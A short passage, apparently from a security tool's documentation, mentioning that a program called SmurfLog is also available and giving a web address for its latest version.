    There's also SmurfLog available.   The latest version of  SmurfLog
    can be found at

	http://www.sy.net/security